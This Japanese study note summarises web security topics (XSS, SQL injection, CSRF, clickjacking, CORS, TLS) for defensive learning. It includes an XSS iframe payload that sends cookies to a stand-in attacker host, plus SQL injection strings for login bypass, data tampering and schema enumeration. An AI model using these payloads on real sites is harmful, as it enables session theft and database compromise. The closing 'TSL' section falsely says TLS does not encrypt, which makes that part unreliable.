概要
以下についてまとめました。
それぞれ何を参考にしたかはこちらを見ていただきたいです。
- インジェクション系
- アクセス制御や認可制御の欠陥
- クリックジャッキング
- SOP
- CORS
- SSL/TSL
インジェクション系
「出力」で発生する脆弱性。データの中の引用符やデリミタなどのデータの終端を示すマークを入れて、文字列の構造をむりやり変化させる。
脆弱性 | インタフェイス | 悪用手口 | データの終端 |
---|---|---|---|
クロスサイト・スクリプティング | HTML | Javascriptなどの注入 |
< 、" など |
HTTPヘッダ・スクリプティング | HTTP | HTTPレスポンスヘッダの注入 | 改行 |
SQLインジェクション | SQL | SQLの注入 |
' など |
OSコマンド・インジェクション | シェルコマンド | コマンドの注入 |
; 、` |
メールヘッダ・インジェクション | sendmailコマンド | メールヘッダ、本文の注入・改変 | 改行 |
※ クロスサイトスクリプティング
影響
- ユーザーのブラウザで、クッキー値が盗まれ、なりすましされる
-
iframe内で脆弱サイトを表示し、クッキー値をクエリ文字につけて、悪サイトページに遷移させる
<iframe src="http://damesite.jp?keyword=<script>window.location='http://warusite.jp?sid='%2Bdocument.cookie;</script>"></iframe>
-
- パラメータの検証不足で起こる
- 同じブラウザで、ユーザーの権限でwebアプリの機能が悪用
- 偽の入力フォームが表示され、ユーザーの個人情報が盗まれる
- 脆弱サイトのフォームの要素名と同じ要素名の値に、以下の内容のhtmlを値として指定する(脆弱サイトに
<input name="zeijaku">
があれば<input name="zeijaku" value='悪いスクリプト'>
を指定して、ユーザーにクリックさせて、脆弱サイトへPOSTさせる) -
</form>
で脆弱サイトの<form>
を終わらせる - 新しい
<form>
を開始し、以下を指定- 絶対座標で画面左上に位置させる
-
z-index:99;
で元のフォームより全面に表示 - 背景色を白にして、元のフォームを見えなくする
-
action
に悪サイトを指定する
- 脆弱サイトのフォームの要素名と同じ要素名の値に、以下の内容のhtmlを値として指定する(脆弱サイトに
発生箇所
HTML、javascriptの生成箇所
どうやるの?
javascriptの実行、偽情報の表示
※ 反射型XSS(Reflected XSS)
- 攻撃対象のサイトに攻撃用スクリプトはない
- ユーザーに、罠サイトや罠メールを介して攻撃用スクリプトを実行させる
- HTTPリクエスト、多くの場合はURLのパラメータに攻撃がある
- エスケープやサニタイジングできなかったものをレスポンスとして返す際に脆弱性が発生します
- 攻撃用スクリプトがある罠サイトをユーザーが閲覧
- iframeなどで、ユーザーがログイン済みの攻撃対象サイトを生成
- ユーザーのクッキーなどを盗まれる
※ 持続型XSS(Stored XSS)
- HTTPリクエスト中に攻撃コードが含まれるか否かに関わらない
- webメールやSNSなどの投稿にスクリプトを仕込んで、攻撃対象サイトのDBに攻撃を保存させる
- アクセスユーザー全員にwebサイトで攻撃が実行される
javascriptスキーム
a
やiframe
などのリンク先を、ユーザーが指定できるサイトの場合が問題になる。
javascriptスキームというものがあり、javascriptが実行されてしまう。
htmlspecialize()
でエスケープしても意味がない。
<a href="javascript:alert(document.cookie)">
httpかhttpsか/で始まる場合のみ有効にする。
リンク先ドメイン
リンク先として、他者が自由に指定できる時、フィッシングサイトへユーザーが気づかずに誘導されることがあるため、検証が必要。
javascriptの動的生成
イベントハンドラXSS
onload="init(<?= $script ?>)"
があり、$script
が動的に変わるとき、
onload="init(name=');alert(document.cookie)//')
になるとき、想定外のjavascriptが実行されてしまう。
この場合、javascriptリテラルとしてエスケープされてないのが問題。
エスケープしないと、'
が文字ではなく、終端の'
として解釈されてしまう。
script要素のXSS
javascriptの一部を動的に変更するとき脆弱性が起きます。
<script>
testFunc(<?= escape_js($value) ?>); // \,',"をエスケープする
</script>
の$value
の値が</script><script>alert(document.coolie)</script>
だった場合、そこでscript要素が終わり、想定外のjavascriptが実行される。
※ Dom based XSS
サーバから返されたページ内に攻撃スクリプトは一切含まれていないということです。攻撃者はクライアント(主にブラウザ)が構築するHTMLのDOM(Document Object Model)のオブジェクトやそのプロパティを操作することで攻撃を行い、生のHTMLにスクリプトを埋め込もうとはしません。つまり、サーバサイドは攻撃スクリプトを出力していません。
IE、FireFox、その他多くのクライアントにおいて#以降の文字列はサーバサイドに送出せず、クライアント内で処理を行います。その為、サーバのアクセスログにはhttp://example.com/welcome.htmlのみが記録され、攻撃の痕跡はサーバサイドに残らず、サーバサイドは攻撃を検知できません。
- iframeなどで、ユーザーがログイン済みの攻撃対象サイト(Dom based XSSの脆弱性がある)のURLに脆弱性をつくパラメータをつけて表示
- ユーザーのクッキーなどが盗まれる
※ X-XSS-Protection
概要
HTTPレスポンスヘッダにX-XSS-Protectionを指定することで、ウェブブラウザに対して、XSSフィルター機能(XSS Filter)を有効にする指示ができます。IE8以降に導入されたXSSフィルターがX-XSS-Protectionヘッダによって活性化できます。
X-XSS-Protection は、ウェブブラウザ の XSS フィルターを有効化するためのオプションです。XSSの問題を完全に取り除くものではなく、XSSによる攻撃を緩和するためのものです。
検出や防御できるもの
- HTTPレスポンスの元となるHTTPリクエストにスクリプト注入(XSS)攻撃パターンとみなされるものが含まれていて、そのパターンと同じものがHTTPレスポンスにも出現している
- HTTPレスポンスの元となるHTTPリクエストを発生させたアクションやリンクが、HTTPレスポンスを返したサイトと異なるサイトから発生したものである
- 同一のサーバでも、ホスト名による参照とIPアドレスによる参照は、異なるサイトとみなす
※ 対策
htmlを表示するときに、記号をエスケープしないと、htmlにスクリプトを仕込まれると実行してしまう。
- htmlの要素内容は、
<
と&
をエスケープ - 属性値は、
"
で囲む - 属性値は、
<
と&
と"
をエスケープ - レスポンス(表示)時、文字エンコーディングを明示
- サーバーの文字エンコーディングと表示文字エンコーディングが異なると脆弱性になる
- 入力値を検証
- クッキーにHttpOnly属性を付与
- javascriptでのクッキー読み出しを禁止
- set_cookie()で指定
-
php.ini
にsession.cookie_httponly = on
- Trace メソッドを無効化
-
httpd.conf
にTraceEnable Off
-
- 表示するURLをユーザーが自由に指定できるとき、以下を検証する。
-
http
かhttps
か/
で始まる場合のみ許可 - リンク先URLを検証
- 外部ドメインのときはクッションページを用意
-
- javascript内は、javascriptリテラルとしてエスケープし、その文字列をhtmlエスケープし、
"
で囲み、</
が出現しないようにする - DOMを操作して文字列を表示するときは、自動でエスケープしてくれるjqueryのtext()を使う
※ SQLインジェクション
影響
- DBの情報がすべて盗まれる
- DBの情報を書き換えられる
- 認証を回避される
- DBサーバーのファイルの読み書き
- プログラム、OSコマンドの実行などをされる
UNION SELECT
成立すると、一度に大量の情報が漏洩する
認証回避
パスワードに、以下を入力する
' or 'a'='a
データ改ざん
http://zeijaku.com?id=';update+books+set+title%3D'<iframe>おそろしいサイト</iframe>'+where+id%3d'1001'--
データーベースの表名、列名の調査
http://zeijaku.com?id='+union+select+table_name,column_name,data_type,null,null,null,null+from+information_shema.columns+order+by+1--
※ 対策
- プレースホルダーSQL
- エラーメッセージを非表示
- 入力値の検証
- DB権限設定
プレースホルダーでSQLを組み立てる
select * from books where author = ? order by id;
- 静的プレースホルダー
プレースホルダーのついたSQL文が先にコンパイルされるので、あとから SQLが改変されることがない。
- 動的プレースホルダー
DBに送る前にアプリケーションのライブラリでバインドする(エスケープなどしてくれる)ので、SQLインジェクションは発生しない。
静的プレースホルダと異なりバインド処理を実現するライブラリ次第で脆弱性もあり。
- 動的に変わるプレースホルダー
if ($firstParam) {
$conditions[] = "first = ?";
$values[] = "this is first value"
}
if ($secondParam) {
$conditions[] = "second = ?";
$values[] = "this is second value"
}
if ($conditions) {
$sql = "where " . implode(" and ", $conditions);
}
OSコマンドインジェクション
悪意のあるリクエストにより、サーバ上でOSコマンドを実行される脆弱性。
- Webアプリ内でシェルを起動しない
- シェルを起動する必要がある場合は、パラメータチェックを徹底する
ディレクトリ・トラバーサル
リクエストのパスに不正な内容を指定することで公開していないディレクトリにアクセスされてしまう脆弱性。
別名「パス・トラバーサル」ともいわれたり「../ (ドットドットスラッシュ)攻撃」ともいわれる。
- ファイル名を直接指定する必要があるか仕様を見直す
- ディレクトリ固定する
HTTP ヘッダ・インジェクション
悪意を持って細工された情報をHTTPヘッダに埋め込まれ(インジェクション)、埋め込まれた情報を基にした偽ページを表示させられてしまうもの。
- ヘッダ出力を直接行わず、Webアプリの実行環境や言語で用意されているヘッダ出力用APIを使う
- 改行コードを適切に処理するヘッダ出力用APIを利用できない場合は、改行を許可しない
- 外部からの入力全てにおいて改行コードを削除するのもあり
メール ヘッダ・インジェクション
商品申し込みやアンケート等の本来固定のメールアドレスへの送信が、自由なメールアドレスへ送信できてしまう脆弱性。
- メールヘッダを固定値にして、外部からの入力はすべてメール本文に出力する
- メールヘッダを固定値にできない場合、ウェブアプリケーションの実行環境や言語に用意されているメール送信用APIを使用する
- HTMLで宛先を指定しない
- 外部からの入力の全てについて、改行コードを削除するのもあり
バッファオーバーフロー
実行中のプログラムが確保したメモリ領域(バッファ)を超えてデータが上書きされ、悪意のあるコードが実行される脆弱性。
- 直接メモリにアクセスできない言語で開発する
C、C++、アセンブラなどの直接メモリを操作できる言語など。 - 直接メモリにアクセスできる言語で記述する部分を最小限にする
- 脆弱性が修正されたバージョンのライブラリを使用する
※ クロスサイトリクエストフォージェリ(CSRF)
- "重要な処理"の悪用に限る
入力・実行パターン
- 攻撃対象サイトのパスワード変更ページへPOSTできるフォームをiframeで隠して罠サイトへ仕込む。
- ユーザーは勝手にパスワードが変更される
- iframeの外から、iframeの中のデータは読み取れないので、攻撃者はそのときユーザーの情報はわからない
- 攻撃者は変更後のパスワードを知ってるので、不正ログインなどができる
確認画面がある場合
- 1つ目のiframeでメールアドレスを上記と同じようにPOSTし、セッションにセットさせる
- 2つ目のiframeで10秒後に実行ページを呼び出す
- このときセッションにメールアドレスがセットされてるのでメールアドレスが変更される
※ クリックジャッキング
参考
iframe等に当該機能を呼び出す画面を表示しておき、利用者(被害者)に実行ボタンを押させる攻撃。
(CSRFはHTTPリクエスト)
- サイトAはCSSにより透明に設定され、利用者には見えない
- ユーザーは悪意あるページの①と②をクリックしているつもりですが、実際にクリックされるのは手前側に配置された透明なサイトAのボタン
- X-FRAME-OPTIONSで対策する
CSRFとXSSの違い
- CSRF
- HTTPリクエストで悪用
- サーバー側で用意された処理に限定
- XSS
- 攻撃者が htmlやjavascriptを用意して、ブラウザで操作できることはなんでも悪用
- 用意したスクリプトでサーバー側の機能を悪用も可能
Refererどうなる
Refererだけ罠サイトのURLになり、他のHTTPリクエストは変わらない
※ 対策
- ユーザーの意図したリクエストを区別できるようにする
- トークンの埋め込み
- GETで送るとRefererで外部に漏れる可能性がある
- ワンタイムトークン
- リプレイ攻撃対策に必要になる
- 暗号化されたリクエストを盗聴し、丸ごと再送することでなりすましをする攻撃
- 自己流でつくると危ない
- リプレイ攻撃対策に必要になる
- パスワード再入力
- Refererチェック
- 重要な処理を行った後にメールを送信する
- X-FRAME-OPTIONSヘッダを送信して、クリックジャッキングを防ぐ
- また、クリックじゃっキングは直前のページで再度パスワードの入力を求め、実行ページではそのパスワードが正しいかチェックしても防げる
※ アクセス制御や認可制御の欠落
セキュリティに対する認識のなさから、不適切な設計で作成/運用されるWebサイトの「アクセス制御」や「認可制御」等の機能欠落に伴う脆弱性。
※ 対策
- 認証機能を設ける(パスワード等の秘密情報の入力要求)
- サイト上で非公開とされるべき情報や、利用者本人にのみデータの変更や編集を許可する場合等には、アクセス制御が必要
- メールアドレスだけではなくパスワード等の入力を必要とする設計/実装を行う
- ログイン中の利用者が他人になりすましてアクセスできないようにする
- どの利用者にどの操作を許可するかなどの認可制御が必要
- セッションIDを用いてセッション管理をする
- 利用者IDが、ログイン中の利用者ID と一致しているかを常に確認する
- 利用者IDを、外部から与えられるパラメータから取得しないで、セッション変数から取得するようにする。
※ Same Origin Policy(SOP)
同一生成元ポリシー
- ウェブブラウザにおけるセキュリティ上の制限
- XMLHttpRequest で問い合わせ可能な範囲
生成元の定義
プロトコル、ポート、ホスト(FQDN - Fully Qualified Domain Name)が両方のページで同じならば、二つのページが同一生成元を持っていると見なす。
XMLHttpRequest
Ajax では基本的に XMLHttpRequest オブジェクトなどを使って、バックエンドで非同期的にサーバーへ問い合わせを行います。
-
prcm.jp
ではなく、サブドメインnews.prcm.jp
ではajaxが正常に動かない。- 非同期的に他サーバーへの問い合わせをしようとしても処理が失敗する
Cross-Origin Resource Sharing(クロスオリジンリソースシェアリング, CORS)
生まれた経緯
- 異なるドメインのリソースにアクセスしたい...
- JSONPでOSPをかいくぐれるけど、攻撃されちゃう...
- より手軽に、より安全にクロスドメインアクセスを実現したい...
「XMLHttpRequestでクロスドメインアクセスを実現しよう!」
by W3C 2013/1
制御のルール
- クロスドメインアクセスを許可するWebページのオリジンサーバーのドメイン
- 使用を許可するHTTPメソッド
- 使用を許可するHTTPヘッダ
誰がこのルールに従うのか
アクセスされるサーバーが、ブラウザとサーバー側でHTTPヘッダを使ってアクセス制御に関する情報をやりとりする
クレデンシャル
- デフォルトではCookieのやりとりができない
-
XMLHttpRequest
オブジェクトのwithCredentials
プロパティをtrue
に設定 - リクエストにCookieが付加される
- クロスドメインでアクセスするとき、ブラウザは以下のヘッダを含まないレスポンスがあると拒否する
Access-Control-Allow-Credentials: true
SSL/TLS
※ SSL
データを暗号化して送受信するトランスポート層のプロトコル
Webサーバーと利用者のコンピュータが相互に確認を行いながらデータを送受信する。
- SSL/TLSで保護されたサイトのWebサーバーは、Webブラウザにサーバー証明書を送る。
- Webブラウザは証明書に付された認証局の署名が正しいか、事前に入手していた認証局のルート証明書で検証
- WebブラウザはWebサーバーと暗号化通信のための鍵を交換
- その鍵を使って、通信データを自動的に暗号化する
メリット
- 盗聴の防止
- パケットの改ざん防止
- なりすまし防止
盗聴、パケット改ざん
- 入力画面はHTTP、送信先がHTTPSという一部SSL状態だと、入力画面から送信されるデータはHTTPなのでパケット改竄でき、送信先を書き換えられ、盗聴される可能性がある。
- HTTP接続時、中間者攻撃によって偽のCookieをセットされ、サーバがそのCookieをそのまま受け入れると、ユーザーが危険に晒される
なりすまし
- 他の不正なサイトに誘導された場合に気がつく可能性を上げる
- フィッシングサイトを作る際の難易度を上げる
デメリット
- 暗号化通信は多少サーバ、クライアント双方に負荷をかける
- SPDY や HTTP/2 (over TLS)が使用できる環境であればパフォーマンスが向上する可能性もある
- コスト的な負担がある
- サーバ側の設定の仕方によって、一部の環境で Web サイトにアクセスできなくなる可能性もある
証明書
- ドメイン認証 (Domain Validation) SSL 証明書
- 組織認証 (Organization Validation) SSL 証明書
- EV (Extended Validation) SSL 証明書
1から順に認証レベルが高くなります。つまり EV SSL が認証レベルとしては最高。
ドメイン認証 SSL 証明書
- ドメイン (CSR に記載のコモンネーム) の所有者確認のみ行って発行するもの。
- サーバの該当ドメイン直下に決められた HTML ファイルなどを設置して、それをクロールで確認できたら (Google ウェブマスターツールなどでも使われるあれです) 所有者確認とします。
組織認証 SSL 証明書
- ドメイン認証と同様にドメインの所有者確認
- その所有者が実在する組織かということを第三者データベースの情報や、登記簿謄本や印鑑証明など証明書類の提出などによって身元確認した上で発行される
- 証明書にも確認が取れた組織名が記載され
EV SSL 証明書
- 電話での本人確認
- 定められた EV 証明書ガイドラインに則ってより厳格な審査が行われる
認証レベルが高いと安全?
- 暗号強度は変わらないよ
- 公開鍵の長さが強度を決める
- 悪意のあるサイトでも証明書は取れる
- 組織認証SSL以上では、身元証明が必要になるので詐欺では使いづらい
ワイルドカード証明書
- 1つの証明書で、複数のコモンネームに対する暗号化通信を可能にする
-
*.sample.org
などで証明書を発行する -
sample.org
でもwww.sample.org
でもhoge.sample.org
でも証明書を使える
マルチドメイン証明書
- 1つのサーバで複数のドメインを運用しているとき
- まとめて暗号化通信ができる
※ 注意点
公開鍵暗号とハッシュ関数
- 証明書の公開鍵暗号は 2048bit RSA
- ハッシュ関数は SHA-2
SNI (Server Name Indication)
証明書ごとにグローバル IP アドレスが必要という制約から解放してくれる仕様。
- 証明書はグローバル IP アドレスごとでしか使えない
- 同一IP アドレス上のホスト名ごとで別々の証明書を使い分けることを可能にするもの
- TLS を拡張し、バーチャルホストと同じように、リクエストに応じて証明書を出し分けることができるようにした
SNI に対応しない環境では?
- デフォルト設定されたバーチャルホストに対する証明書が使用される
- 複数バーチャルホストを指定してる場合は、デフォルト以外ではエラーが出る
混在コンテンツについて
HTTPSのサイトで読み込んでる外部のリソースがHTTPで、HTTPコンテンツが存在してること。
- 同じドメインのリソースなら、バスの仕方を工夫する
- 外部なら、
https://~~
か//~~
と指定する
外部リソースの安全性
httpでもhtppsでも、読み込んだ外部のスクリプトやiframeを読み込んだとき、それらがハッキングされたら危険。
- 読み込むリソースのガイドラインを制作
- それを遵守など
CSP (Content Security Policy)
XSSで不本意なスクリプトが注入されても、実行を遮断してくれるもの。
- 実行していいスクリプトをホワイトリストに指定する
導入後...
HSTS (HTTP Strict Transport Security)
「このサイトに接続するときは HTTPS を使ってね」 という HTTP レスポンスヘッダをブラウザに送信することで、HTTPS での通信を強制するもの。
- HSTS未対応ブラウザでは HTTP での接続ができてしまう
- 検索結果でもHTTPのコンテンツが残る可能性がある
- 全コンテンツをHTTPSで閲覧できるようにしたら、
.htaccess
またはhttpd.conf
で301リダイレクト設定する
※ CookieにSecure属性をつける
- 盗聴されることがなくなる
- httpsでもSecure属性つけないと盗聴される
TSL
- SSLをもとに標準化させたもので、暗号化しない。
- 通信途中でデータを傍受されると、情報が第三者に漏れる
- 相手のなりすましに気付かずに通信し、クレジットカード番号や個人情報が盗まれる
参考
- 「体系的に学ぶ 安全なWebアプリケーションの作り方」の以下についてまとめた
- 4章 Webアプリケーションの機能別に見るセキュリティバグ
- 4.3 表示処理に伴う問題
- 4.4 SQL呼び出しに伴う脆弱性
- 4.5 「重要な処理」の際に混入する脆弱性
- 4章 Webアプリケーションの機能別に見るセキュリティバグ
- クリックジャッキングの参考サイト
- アクセス制御や認可制御の欠陥の参考サイト
- SOPの参考サイト
- CORSの参考サイト
- SSL/TSLの参考サイト